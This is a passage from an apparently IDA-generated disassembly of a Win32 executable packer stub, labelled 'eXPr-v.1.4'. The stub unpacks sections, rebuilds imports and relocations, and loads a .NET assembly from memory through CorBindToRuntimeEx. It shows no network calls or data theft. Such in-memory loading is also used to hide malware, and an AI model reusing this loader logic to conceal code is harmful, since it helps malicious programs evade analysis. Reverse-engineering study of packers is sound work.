ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_4345EB add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:dword_434234 ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_435539 add esp, 14h mov eax, edi loc_434A34: ; CODE XREF: sub_434960+75j pop edi pop esi pop ebx leave retn sub_434960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: start+30o var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00435232 SIZE 00000005 BYTES push ebp mov ebp, esp sub esp, 60h push ebx push esi push edi and [ebp+var_28], 0 rep jmp short loc_434A55 ; --------------------------------------------------------------------------- db 65h, 58h, 50h dd 2E762D72h, 2E342E31h db 0 ; --------------------------------------------------------------------------- loc_434A55: ; CODE XREF: start+Dj mov eax, ds:dword_434000 add eax, offset dword_434000 mov ds:off_434024, eax mov eax, ds:off_434024 mov ecx, offset start sub ecx, [eax+18h] mov ds:dword_434028, ecx cmp ds:dword_43402C, 0 jz short loc_434A96 mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+14h] mov [ebp+var_38], ecx jmp loc_4351CD ; --------------------------------------------------------------------------- loc_434A96: ; CODE XREF: start+45j mov ds:dword_43402C, 1 push 4 push 1000h push 80h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_24], eax cmp [ebp+arg_4], 1 jz short loc_434AC1 and [ebp+arg_0], 0 loc_434AC1: ; CODE XREF: start+82j push 4 push 1000h push 104h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_14], eax push 104h push [ebp+var_14] push [ebp+arg_0] call ds:dword_434250 ; GetModuleFileNameA mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] mov [ebp+var_58], eax loc_434AF3: ; CODE XREF: start+CCj mov eax, [ebp+var_58] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_434B07 mov eax, [ebp+var_58] dec eax mov [ebp+var_58], eax jmp short loc_434AF3 ; --------------------------------------------------------------------------- loc_434B07: ; CODE XREF: start+C3j mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax mov eax, [ebp+var_58] sub eax, [ebp+var_14] mov [ebp+var_54], eax push 4 push 1000h push 104h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_4], eax mov ecx, [ebp+var_54] mov esi, [ebp+var_14] mov edi, [ebp+var_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_4] add eax, [ebp+var_54] and byte ptr [eax+1], 0 mov eax, ds:dword_434020 shl eax, 6 mov ecx, ds:dword_434028 add ecx, eax mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, ds:dword_434028 add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 0F8h mov [ebp+var_40], eax mov eax, ds:off_434024 cmp dword ptr [eax+68h], 0 jz short loc_434BFA mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+80h] mov ds:dword_4356BC, ecx mov eax, ds:dword_4356BC mov [ebp+var_3C], eax mov eax, ds:off_434024 mov eax, [eax+8] mov ds:dword_4356C0, eax mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov ds:off_4356B8, ecx push ds:dword_4356BC mov eax, ds:off_434024 push dword ptr [eax+4] push ds:off_4356B8 call sub_434960 add esp, 0Ch mov eax, ds:off_434024 push dword ptr [eax+6Ch] push [ebp+var_3C] call sub_4352B8 pop ecx pop ecx jmp loc_435230 ; --------------------------------------------------------------------------- loc_434BFA: ; CODE XREF: start+14Cj mov eax, ds:off_434024 cmp dword ptr [eax+64h], 0 jz loc_434D24 push 4 push 1000h mov eax, ds:off_434024 push dword ptr [eax+4] push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov ds:dword_4356BC, eax cmp ds:dword_4356BC, 0 jnz short loc_434C4E push 30h push [ebp+var_58] push offset aErrorAllocatin ; "Error allocating memory!" push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_434C4E: ; CODE XREF: start+1F9j mov eax, ds:off_434024 mov eax, [eax+8] mov ds:dword_4356C0, eax mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov eax, ds:off_434024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov ds:off_4356B8, ecx push ds:dword_4356BC mov eax, ds:off_434024 push dword ptr [eax+4] push ds:off_4356B8 call sub_434960 add esp, 0Ch jmp short loc_434CA6 ; --------------------------------------------------------------------------- loc_434C9F: ; CODE XREF: start+2D4j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_434CA6: ; CODE XREF: start+264j mov eax, ds:off_434024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge short loc_434D0F mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov ecx, [ecx+eax+7Ch] mov esi, ds:dword_4356BC mov eax, [ebp+var_28] imul eax, 18h mov edx, ds:off_434024 mov edi, ds:dword_434028 add edi, [edx+eax+80h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, ds:dword_4356BC add edx, [ecx+eax+7Ch] mov ds:dword_4356BC, edx jmp short loc_434C9F ; --------------------------------------------------------------------------- loc_434D0F: ; CODE XREF: start+279j push 8000h push 0 push [ebp+var_3C] call ds:dword_434234 ; VirtualFree jmp loc_434E0E ; --------------------------------------------------------------------------- loc_434D24: ; CODE XREF: start+1CAj mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov eax, ds:off_434024 sub ecx, [eax+0Ch] mov eax, ds:off_434024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_3C], ecx and [ebp+var_28], 0 jmp short loc_434D5C ; --------------------------------------------------------------------------- loc_434D55: ; CODE XREF: start:loc_434E09j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_434D5C: ; CODE XREF: start+31Aj mov eax, ds:off_434024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge loc_434E0E mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 cmp dword ptr [ecx+eax+74h], 0 jz loc_434E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 cmp dword ptr [ecx+eax+7Ch], 0 jbe short loc_434E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, ds:dword_434028 add edx, [ecx+eax+80h] mov ds:dword_4356BC, edx mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov eax, [ecx+eax+7Ch] mov ds:dword_4356C0, eax mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, [ebp+var_3C] add edx, [ecx+eax+78h] mov ds:off_4356B8, edx push ds:dword_4356BC mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 push dword ptr [ecx+eax+7Ch] push ds:off_4356B8 call sub_434960 add esp, 0Ch loc_434E09: ; CODE XREF: start+346j start+35Dj jmp loc_434D55 ; --------------------------------------------------------------------------- loc_434E0E: ; CODE XREF: start+2E6j start+32Fj mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+24h] mov [ebp+var_50], ecx loc_434E1F: ; CODE XREF: start+5F7j mov eax, [ebp+var_50] cmp dword ptr [eax+0Ch], 0 jz loc_435035 mov eax, ds:off_434024 cmp dword ptr [eax+24h], 0 jz loc_435035 lea eax, [ebp+var_48] push eax push 40h push 14h push [ebp+var_50] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax+0Ch] mov [ebp+var_C], ecx push [ebp+var_C] call ds:dword_434244 ; GetModuleHandleA mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_434E7D push 8 push 0 push [ebp+var_C] call ds:dword_434240 ; LoadLibraryExA mov [ebp+var_30], eax loc_434E7D: ; CODE XREF: start+432j cmp [ebp+var_30], 0 jnz short loc_434EBB mov edi, [ebp+var_C] mov eax, [ebp+var_4] add eax, [ebp+var_54] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 push [ebp+var_4] call ds:dword_434240 ; LoadLibraryExA mov [ebp+var_30], eax loc_434EBB: ; CODE XREF: start+448j cmp [ebp+var_30], 0 jnz short loc_434EED push [ebp+var_C] push offset aARequired_dllF ; "A required .DLL file, %hs, was not foun"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 0Ch push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_434EED: ; CODE XREF: start+486j mov eax, [ebp+var_50] mov ecx, [ebp+var_30] mov [eax+8], ecx mov eax, [ebp+var_50] mov dword ptr [eax+4], 0CDC31337h mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax+10h] mov [ebp+var_20], ecx mov eax, [ebp+var_50] cmp dword ptr [eax], 0 jnz short loc_434F1F mov eax, [ebp+var_20] mov [ebp+var_18], eax jmp short loc_434F2D ; --------------------------------------------------------------------------- loc_434F1F: ; CODE XREF: start+4DCj mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax] mov [ebp+var_18], ecx loc_434F2D: ; CODE XREF: start+4E4j start+5E9j mov eax, [ebp+var_18] cmp dword ptr [eax], 0 jz loc_435027 and [ebp+var_5C], 0 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_434F67 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_30] call ds:dword_43423C ; GetProcAddress mov [ebp+var_5C], eax jmp short loc_434F87 ; --------------------------------------------------------------------------- loc_434F67: ; CODE XREF: start+510j mov eax, [ebp+var_18] mov eax, [eax] add eax, ds:dword_434028 mov [ebp+var_8], eax mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_30] call ds:dword_43423C ; GetProcAddress mov [ebp+var_5C], eax loc_434F87: ; CODE XREF: start+52Cj cmp [ebp+var_5C], 0 jnz short loc_434FF7 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_434FC2 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 14h jmp short loc_434FDF ; --------------------------------------------------------------------------- loc_434FC2: ; CODE XREF: start+560j mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 14h loc_434FDF: ; CODE XREF: start+587j push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_434FF7: ; CODE XREF: start+552j lea eax, [ebp+var_48] push eax push 40h push 4 push [ebp+var_20] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_20] mov ecx, [ebp+var_5C] mov [eax], ecx mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax mov eax, [ebp+var_20] add eax, 4 mov [ebp+var_20], eax jmp loc_434F2D ; --------------------------------------------------------------------------- loc_435027: ; CODE XREF: start+4FAj mov eax, [ebp+var_50] add eax, 14h mov [ebp+var_50], eax jmp loc_434E1F ; --------------------------------------------------------------------------- loc_435035: ; CODE XREF: start+3EDj start+3FCj mov eax, ds:off_434024 mov eax, [eax+1Ch] cmp eax, ds:dword_434028 jz loc_4351AC mov eax, ds:off_434024 cmp dword ptr [eax+28h], 0 jz loc_4351AC mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+28h] mov [ebp+var_34], ecx loc_435069: ; CODE XREF: start+76Ej mov eax, [ebp+var_34] cmp dword ptr [eax], 0 jz loc_4351AC mov eax, [ebp+var_34] add eax, 8 mov [ebp+var_4C], eax and [ebp+var_28], 0 jmp short loc_43508B ; --------------------------------------------------------------------------- loc_435084: ; CODE XREF: start+75Dj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_43508B: ; CODE XREF: start+649j mov eax, [ebp+var_34] mov eax, [eax+4] sub eax, 8 cdq sub eax, edx sar eax, 1 cmp [ebp+var_28], eax jge loc_43519B mov eax, [ebp+var_34] mov eax, [eax] add eax, ds:dword_434028 mov ecx, [ebp+var_4C] movzx ecx, word ptr [ecx] and ecx, 0FFFh add eax, ecx mov [ebp+var_1C], eax mov eax, [ebp+var_4C] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_60], eax cmp [ebp+var_60], 0 jz short loc_4350DB cmp [ebp+var_60], 3 jz short loc_4350E0 jmp loc_435161 ; --------------------------------------------------------------------------- loc_4350DB: ; CODE XREF: start+695j jmp loc_43518E ; --------------------------------------------------------------------------- loc_4350E0: ; CODE XREF: start+69Bj mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_48], eax mov eax, ds:off_434024 mov ecx, [ebp+var_48] sub ecx, [eax+1Ch] add ecx, ds:dword_434028 mov [ebp+var_48], ecx mov eax, [ebp+var_48] cmp eax, ds:dword_434028 jb short loc_435118 mov eax, [ebp+var_10] mov ecx, ds:dword_434028 add ecx, [eax+50h] cmp [ebp+var_48], ecx jbe short loc_435146 loc_435118: ; CODE XREF: start+6CCj mov eax, [ebp+var_1C] push dword ptr [eax] push offset aErrorBadReloca ; "Error bad relocation pointer: *pdw = 0x"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 0Ch push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_435146: ; CODE XREF: start+6DDj lea eax, [ebp+var_2C] push eax push 40h push 4 push [ebp+var_1C] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_1C] mov ecx, [ebp+var_48] mov [eax], ecx jmp short loc_43518E ; --------------------------------------------------------------------------- loc_435161: ; CODE XREF: start+69Dj mov eax, [ebp+var_1C] push dword ptr [eax] mov eax, [ebp+var_4C] movzx eax, word ptr [eax] push eax push offset aUnexpectedRelo ; "Unexpected relocation type: *pw = 0x%04"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 10h push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA loc_43518E: ; CODE XREF: start:loc_4350DBj ; start+726j mov eax, [ebp+var_4C] inc eax inc eax mov [ebp+var_4C], eax jmp loc_435084 ; --------------------------------------------------------------------------- loc_43519B: ; CODE XREF: start+663j mov eax, [ebp+var_34] mov ecx, [ebp+var_34] add ecx, [eax+4] mov [ebp+var_34], ecx jmp loc_435069 ; --------------------------------------------------------------------------- loc_4351AC: ; CODE XREF: start+60Aj start+619j ... mov eax, ds:off_434024 cmp dword ptr [eax+30h], 0 jz short loc_4351BC call sub_43528D loc_4351BC: ; CODE XREF: start+77Cj mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+14h] mov [ebp+var_38], ecx loc_4351CD: ; CODE XREF: start+58j ; start:loc_435230j push 8000h push 0 push [ebp+var_24] call ds:dword_434234 ; VirtualFree push 8000h push 0 push [ebp+var_4] call ds:dword_434234 ; VirtualFree push 8000h push 0 push [ebp+var_14] call ds:dword_434234 ; VirtualFree mov eax, ds:off_434024 cmp dword ptr [eax+68h], 0 jz short loc_435210 push 0 call ds:dword_43424C ; ExitProcess loc_435210: ; CODE XREF: start+7CDj mov eax, [ebp+var_38] pop edi pop esi pop ebx add esp, 60h pop ebp push eax mov eax, ds:off_434024 cmp dword ptr [eax+14h], 0 jnz short loc_43522B pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_43522B: ; CODE XREF: start+7EBj pop eax jmp eax ; --------------------------------------------------------------------------- jmp short loc_435232 ; --------------------------------------------------------------------------- loc_435230: ; CODE XREF: start+1BCj jmp short loc_4351CD start endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_435232: ; CODE XREF: start+7F5j pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435237 proc near ; CODE XREF: sub_43528D+25p ; DATA XREF: .ex_cod:00434004o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_43400C, 0 push esi jz short loc_435266 mov eax, ds:off_434024 mov esi, [eax+40h] test esi, esi jz short loc_435288 loc_435250: ; CODE XREF: sub_435237+2Dj mov eax, [esi] test eax, eax jz short loc_435288 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax add esi, 4 jmp short loc_435250 ; --------------------------------------------------------------------------- loc_435266: ; CODE XREF: sub_435237+Bj mov eax, [ebp+arg_0] mov ds:dword_434010, 1 mov ds:dword_434014, eax mov eax, [ebp+arg_4] mov ds:dword_434018, eax mov eax, [ebp+arg_8] mov ds:dword_43401C, eax loc_435288: ; CODE XREF: sub_435237+17j ; sub_435237+1Dj pop esi pop ebp retn 0Ch sub_435237 endp ; =============== S U B R O U T I N E ======================================= sub_43528D proc near ; CODE XREF: start+77Ep cmp ds:dword_434010, 0 mov ds:dword_43400C, 1 jz short locret_4352B7 push ds:dword_43401C push ds:dword_434018 push ds:dword_434014 call sub_435237 locret_4352B7: ; CODE XREF: sub_43528D+11j retn sub_43528D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4352B8 proc near ; CODE XREF: start+1B5p var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov edi, ds:dword_434254 xor ebx, ebx push offset aOle32_dll ; "ole32.dll" mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call edi ; LoadLibraryA mov esi, ds:dword_43423C push offset aCoinitialize ; "CoInitialize" push eax mov [ebp+var_38], eax call esi ; GetProcAddress push offset aCouninitialize ; "CoUninitialize" mov [ebp+var_18], eax push [ebp+var_38] call esi ; GetProcAddress push offset aMscoree_dll ; "mscoree.dll" mov [ebp+var_38], eax call edi ; LoadLibraryA push offset aCorbindtorunti ; "CorBindToRuntimeEx" push eax call esi ; GetProcAddress push offset aOleaut32_dll ; "oleaut32.dll" mov [ebp+var_1C], eax call edi ; LoadLibraryA mov edi, eax push 19Bh push edi call esi ; GetProcAddress push 17h push edi mov [ebp+var_20], eax call esi ; GetProcAddress push 18h push edi mov [ebp+var_24], eax call esi ; GetProcAddress push 8 push edi mov [ebp+var_2C], eax call esi ; GetProcAddress push 10h push edi mov [ebp+var_30], eax call esi ; GetProcAddress cmp [ebp+var_18], ebx mov [ebp+var_34], eax jz loc_4354E6 cmp [ebp+var_38], ebx jz loc_4354E6 cmp [ebp+var_1C], ebx jz loc_4354E6 cmp [ebp+var_20], ebx jz loc_4354E6 cmp [ebp+var_24], ebx jz loc_4354E6 cmp [ebp+var_2C], ebx jz loc_4354E6 cmp [ebp+var_30], ebx jz loc_4354E6 cmp eax, ebx jz loc_4354E6 push ebx call [ebp+var_18] test eax, eax jl loc_4354E6 lea eax, [ebp+var_4] push eax push offset loc_434338 push (offset loc_434345+3) push 2 push offset aWks ; "wks" push ebx call [ebp+var_1C] test eax, eax jl loc_4354E6 mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+28h] test eax, eax jl loc_4354E6 mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push eax mov ecx, [eax] call dword ptr [ecx+34h] test eax, eax mov eax, [ebp+var_8] jl loc_4354E9 mov ecx, [eax] lea edx, [ebp+var_14] push edx push offset dword_434150 push eax call dword ptr [ecx] test eax, eax jl loc_4354E6 push [ebp+arg_4] push ebx push 11h call [ebp+var_20] cmp eax, ebx mov [ebp+var_18], eax jz loc_4354E6 lea ecx, [ebp+var_28] mov [ebp+var_28], ebx push ecx push eax call [ebp+var_24] test eax, eax jge short loc_43543F mov eax, [ebp+var_8] cmp eax, ebx jz short loc_435429 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435429: ; CODE XREF: sub_4352B8+169j mov eax, [ebp+var_4] cmp eax, ebx jz loc_4354CC mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_4354CC ; --------------------------------------------------------------------------- loc_43543F: ; CODE XREF: sub_4352B8+162j mov ecx, [ebp+arg_4] mov esi, [ebp+arg_0] mov edi, [ebp+var_28] mov eax, ecx shr ecx, 2 rep movsd push [ebp+var_18] mov ecx, eax and ecx, 3 rep movsb call [ebp+var_2C] mov eax, [ebp+var_14] lea edx, [ebp+var_10] push edx push [ebp+var_18] mov ecx, [eax] push eax call dword ptr [ecx+0B4h] test eax, eax jl short loc_4354B7 mov eax, [ebp+var_10] lea edx, [ebp+var_C] push edx push eax mov ecx, [eax] call dword ptr [ecx+40h] test eax, eax jl short loc_4354B7 lea eax, [ebp+var_48] push eax call [ebp+var_30] push ebx push ebx sub esp, 10h lea esi, [ebp+var_48] mov edi, esp mov eax, [ebp+var_C] movsd mov ecx, [eax] push eax movsd movsd movsd call dword ptr [ecx+94h] mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+2Ch] push [ebp+var_18] call [ebp+var_34] call [ebp+var_38] loc_4354B7: ; CODE XREF: sub_4352B8+1B9j ; sub_4352B8+1CAj mov eax, [ebp+var_8] cmp eax, ebx jz short loc_4354C4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4354C4: ; CODE XREF: sub_4352B8+204j lea ecx, [ebp+var_4] call sub_43552C loc_4354CC: ; CODE XREF: sub_4352B8+176j ; sub_4352B8+182j lea ecx, [ebp+var_C] call sub_43552C lea ecx, [ebp+var_10] call sub_43552C lea ecx, [ebp+var_14] call sub_43552C jmp short loc_435527 ; --------------------------------------------------------------------------- loc_4354E6: ; CODE XREF: sub_4352B8+91j ; sub_4352B8+9Aj ... mov eax, [ebp+var_8] loc_4354E9: ; CODE XREF: sub_4352B8+125j cmp eax, ebx jz short loc_4354F3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4354F3: ; CODE XREF: sub_4352B8+233j mov eax, [ebp+var_4] cmp eax, ebx jz short loc_435500 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435500: ; CODE XREF: sub_4352B8+240j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_43550D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43550D: ; CODE XREF: sub_4352B8+24Dj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_43551A mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43551A: ; CODE XREF: sub_4352B8+25Aj mov eax, [ebp+var_14] cmp eax, ebx jz short loc_435527 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435527: ; CODE XREF: sub_4352B8+22Cj ; sub_4352B8+267j pop edi pop esi pop ebx leave retn sub_4352B8 endp ; =============== S U B R O U T I N E ======================================= sub_43552C proc near ; CODE XREF: sub_4352B8+20Fp ; sub_4352B8+217p ... mov eax, [ecx] test eax, eax jz short locret_435538 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_435538: ; CODE XREF: sub_43552C+4j retn sub_43552C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435539 proc near ; CODE XREF: sub_434960+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_435589: ; CODE XREF: sub_435539+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_43559F cmp cl, 0E9h jz short loc_43559F inc eax jmp loc_4356A5 ; --------------------------------------------------------------------------- loc_43559F: ; CODE XREF: sub_435539+59j ; sub_435539+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_4355B9 and dword ptr [esi], 0 jmp short loc_4355C9 ; --------------------------------------------------------------------------- loc_4355B9: ; CODE XREF: sub_435539+79j test ecx, ecx jbe short loc_4355C9 loc_4355BD: ; CODE XREF: sub_435539+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_4355BD loc_4355C9: ; CODE XREF: sub_435539+7Ej ; sub_435539+82j mov dl, [eax+edi+4] test dl, dl jz short loc_4355DA cmp dl, 0FFh jnz loc_435691 loc_4355DA: ; CODE XREF: sub_435539+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_435691 and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_435691 xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_43561B: ; CODE XREF: sub_435539+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_435663 mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_43564B cmp dl, 0FFh jnz short loc_435660 loc_43564B: ; CODE XREF: sub_435539+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_43561B ; --------------------------------------------------------------------------- loc_435660: ; CODE XREF: sub_435539+110j mov edi, [ebp+arg_0] loc_435663: ; CODE XREF: sub_435539+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_4356A5 ; --------------------------------------------------------------------------- loc_435691: ; CODE XREF: sub_435539+9Bj ; sub_435539+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_4356A0 cmp dl, 0FFh jnz short loc_4356A5 loc_4356A0: ; CODE XREF: sub_435539+160j or ecx, 10h mov [esi], ecx loc_4356A5: ; CODE XREF: sub_435539+61j ; sub_435539+156j ... cmp eax, [ebp+var_4] jbe loc_435589 pop edi pop esi pop ebx leave retn sub_435539 